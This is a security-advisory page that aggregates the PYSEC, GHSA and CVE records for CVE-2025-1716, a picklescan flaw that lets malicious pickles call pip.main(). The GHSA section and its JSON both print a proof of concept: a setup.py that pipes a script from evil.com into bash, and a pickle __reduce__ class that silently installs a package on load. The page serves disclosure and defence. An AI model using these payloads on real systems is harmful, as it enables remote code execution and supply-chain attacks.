pysec - pysec-2025-18

PYSEC-2025-18

Vulnerability from pysec - Published: 2025-02-26 15:15 - Updated: 2025-04-09 17:27

Details

picklescan before 0.0.21 does not treat 'pip' as an unsafe global. An attacker could craft a malicious model that uses Pickle to pull in a malicious PyPI package (hosted, for example, on pypi.org or GitHub) via pip.main(). Because pip is not a restricted global, the model, when scanned with picklescan, would pass security checks and appear to be safe, when it could instead prove to be problematic.

Impacted products

Name	purl
picklescan	pkg:pypi/picklescan

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan",
        "purl": "pkg:pypi/picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "78ce704227c51f070c0c5fb4b466d92c62a7aa3d"
            }
          ],
          "repo": "https://github.com/mmaitre314/picklescan",
          "type": "GIT"
        },
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.21"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.0.1",
        "0.0.10",
        "0.0.11",
        "0.0.12",
        "0.0.13",
        "0.0.14",
        "0.0.15",
        "0.0.16",
        "0.0.17",
        "0.0.18",
        "0.0.19",
        "0.0.2",
        "0.0.20",
        "0.0.3",
        "0.0.4",
        "0.0.5",
        "0.0.6",
        "0.0.7",
        "0.0.8",
        "0.0.9"
      ]
    }
  ],
  "aliases": [
    "CVE-2025-1716",
    "GHSA-655q-fx9r-782v"
  ],
  "details": "picklescan before 0.0.21 does not treat \u0027pip\u0027 as an unsafe global. An attacker could craft a malicious model that uses Pickle to pull in a malicious PyPI package (hosted, for example, on pypi.org or GitHub) via `pip.main()`. Because pip is not a restricted global, the model, when scanned with picklescan, would pass security checks and appear to be safe, when it could instead prove to be problematic.",
  "id": "PYSEC-2025-18",
  "modified": "2025-04-09T17:27:26.867210+00:00",
  "published": "2025-02-26T15:15:24+00:00",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-655q-fx9r-782v"
    },
    {
      "type": "FIX",
      "url": "https://github.com/mmaitre314/picklescan/commit/78ce704227c51f070c0c5fb4b466d92c62a7aa3d"
    },
    {
      "type": "WEB",
      "url": "https://sites.google.com/sonatype.com/vulnerabilities/cve-2025-1716"
    }
  ]
}

GHSA-655Q-FX9R-782V

Vulnerability from github – Published: 2025-03-03 20:05 – Updated: 2025-04-09 20:38

Summary

Picklescan Allows Remote Code Execution via Malicious Pickle File Bypassing Static Analysis

Details

CVE-2025-1716

Summary

An unsafe deserialization vulnerability in Python’s pickle module allows an attacker to bypass static analysis tools like Picklescan and execute arbitrary code during deserialization. This can be exploited to run pip install and fetch a malicious package, enabling remote code execution (RCE) upon package installation.

Details

Pickle’s deserialization process allows execution of arbitrary functions via the reduce method. While Picklescan is designed to detect such exploits, this attack evades detection by leveraging pip.main() as the callable function. Since pip is a legitimate package operation, it may not raise red flags in security scans.

The payload executes the following steps:

During unpickling, it calls pip.main() to install a malicious PyPI package.
The installed package runs arbitrary code via setup.py, entry_points, or post-install hooks.
Execution is silent, with minimal logging to avoid detection.

PoC

Step 1: Create the Malicious Package Host a PyPI package with a malicious setup.py or entry_point.

Example malicious setup.py

from setuptools import setup
import os

os.system("curl -s https://evil.com/payload.sh | bash")  # Executes remote shell script

setup(
    name="rsac-demo-package",
    version="0.1",
    packages=["rsac_demo"],
    install_requires=[],
)

Upload it to PyPI or host on GitHub.

Step 2: Exploit via Pickle

import pickle
import pip

class Exploit:
    def __reduce__(self):
        return pip.main, (
            ['install', 'git+https://github.com/madgetr/rsac-demo-package', '--no-input', '-q', '-q', '-q',
             '--exists-action', 'i', '--isolated'],
        )

malicious_pickle = pickle.dumps(Exploit())

# Simulating deserialization attack
pickle.loads(malicious_pickle)

This installs a malicious package from GitHub or PyPI. The payload runs automatically when unpickled, executing any code inside the installed package leveraging the setup.py file.

Impact

Remote Code Execution (RCE): Any system that deserializes a malicious pickle is compromised. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. Bypasses Picklescan: Security tools may not flag pip.main(), making it harder to detect.

Recommended Fixes

Add "pip": "*" to the list of unsafe globals

Severity ?

5.3 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.0.21"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-1716"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-03T20:05:49Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### CVE-2025-1716\n\n### Summary\nAn unsafe deserialization vulnerability in Python\u2019s pickle module allows an attacker to bypass static analysis tools like Picklescan and execute arbitrary code during deserialization. This can be exploited to run pip install and fetch a malicious package, enabling remote code execution (RCE) upon package installation.\n\n### Details\nPickle\u2019s deserialization process allows execution of arbitrary functions via the __reduce__ method. While Picklescan is designed to detect such exploits, this attack evades detection by leveraging pip.main() as the callable function. Since pip is a legitimate package operation, it may not raise red flags in security scans.\n\nThe payload executes the following steps:\n\n1. During unpickling, it calls pip.main() to install a malicious PyPI package.\n2. The installed package runs arbitrary code via setup.py, entry_points, or post-install hooks.\n3. Execution is silent, with minimal logging to avoid detection.\n\n### PoC\n\nStep 1: Create the Malicious Package\nHost a PyPI package with a malicious setup.py or entry_point.\n\nExample malicious `setup.py`\n```\nfrom setuptools import setup\nimport os\n\nos.system(\"curl -s https://evil.com/payload.sh | bash\")  # Executes remote shell script\n\nsetup(\n    name=\"rsac-demo-package\",\n    version=\"0.1\",\n    packages=[\"rsac_demo\"],\n    install_requires=[],\n)\n```\nUpload it to PyPI or host on GitHub.\n\nStep 2: Exploit via Pickle\n```\nimport pickle\nimport pip\n\nclass Exploit:\n    def __reduce__(self):\n        return pip.main, (\n            [\u0027install\u0027, \u0027git+https://github.com/madgetr/rsac-demo-package\u0027, \u0027--no-input\u0027, \u0027-q\u0027, \u0027-q\u0027, \u0027-q\u0027,\n             \u0027--exists-action\u0027, \u0027i\u0027, \u0027--isolated\u0027],\n        )\n\nmalicious_pickle = pickle.dumps(Exploit())\n\n# Simulating deserialization attack\npickle.loads(malicious_pickle)\n```\nThis installs a malicious package from GitHub or PyPI.\nThe payload runs automatically when unpickled, executing any code inside the installed package leveraging the `setup.py` file.\n\n\n### Impact\nRemote Code Execution (RCE): Any system that deserializes a malicious pickle is compromised.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\nBypasses Picklescan: Security tools may not flag pip.main(), making it harder to detect.\n\n### Recommended Fixes\nAdd  `\"pip\": \"*\"` to the list of [unsafe globals](https://github.com/mmaitre314/picklescan/blob/25d753f4b9a27ce141a43df3bf88d731800593d9/src/picklescan/scanner.py#L96)",
  "id": "GHSA-655q-fx9r-782v",
  "modified": "2025-04-09T20:38:31Z",
  "published": "2025-03-03T20:05:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-655q-fx9r-782v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1716"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/commit/78ce704227c51f070c0c5fb4b466d92c62a7aa3d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mmaitre314/picklescan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/picklescan/PYSEC-2025-18.yaml"
    },
    {
      "type": "WEB",
      "url": "https://sites.google.com/sonatype.com/vulnerabilities/cve-2025-1716"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Picklescan Allows Remote Code Execution via Malicious Pickle File Bypassing Static Analysis"
}

CVE-2025-1716 (GCVE-0-2025-1716)

Vulnerability from cvelistv5 – Published: 2025-02-26 14:51 – Updated: 2025-03-03 15:58

Summary

picklescan before 0.0.21 does not treat 'pip' as an unsafe global. An attacker could craft a malicious model that uses Pickle to pull in a malicious PyPI package (hosted, for example, on pypi.org or GitHub) via `pip.main()`. Because pip is not a restricted global, the model, when scanned with picklescan, would pass security checks and appear to be safe, when it could instead prove to be problematic.

Severity ?

5.3 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

CWE

CWE-184 - Incomplete List of Disallowed Inputs

Assigner

Sonatype

References

URL

Tags

	https://sites.google.com/sonatype.com/vulnerabili…	third-party-advisory
	https://github.com/mmaitre314/picklescan/commit/7…	patch
	https://github.com/mmaitre314/picklescan/security…	third-party-advisory

Impacted products

	Vendor	Product	Version
	mmaitre314	picklescan	Affected: 0.0.1 , ≤ 0.0.20 (semver)

Credits

Trevor Madge (@madgetr) of Sonatype

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-1716",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-02-26T15:49:26.250624Z",
                "version": "2.0.3"
              },
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    "cna": {
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          "defaultStatus": "unaffected",
          "product": "picklescan",
          "repo": "https://github.com/mmaitre314/picklescan",
          "vendor": "mmaitre314",
          "versions": [
            {
              "lessThanOrEqual": "0.0.20",
              "status": "affected",
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            }
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        }
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      "credits": [
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          "type": "finder",
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Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

PYSEC-2025-18

GHSA-655Q-FX9R-782V

CVE-2025-1716

Summary

Details

PoC

Impact

Recommended Fixes

CVE-2025-1716 (GCVE-0-2025-1716)

Tags

Sightings

Nomenclature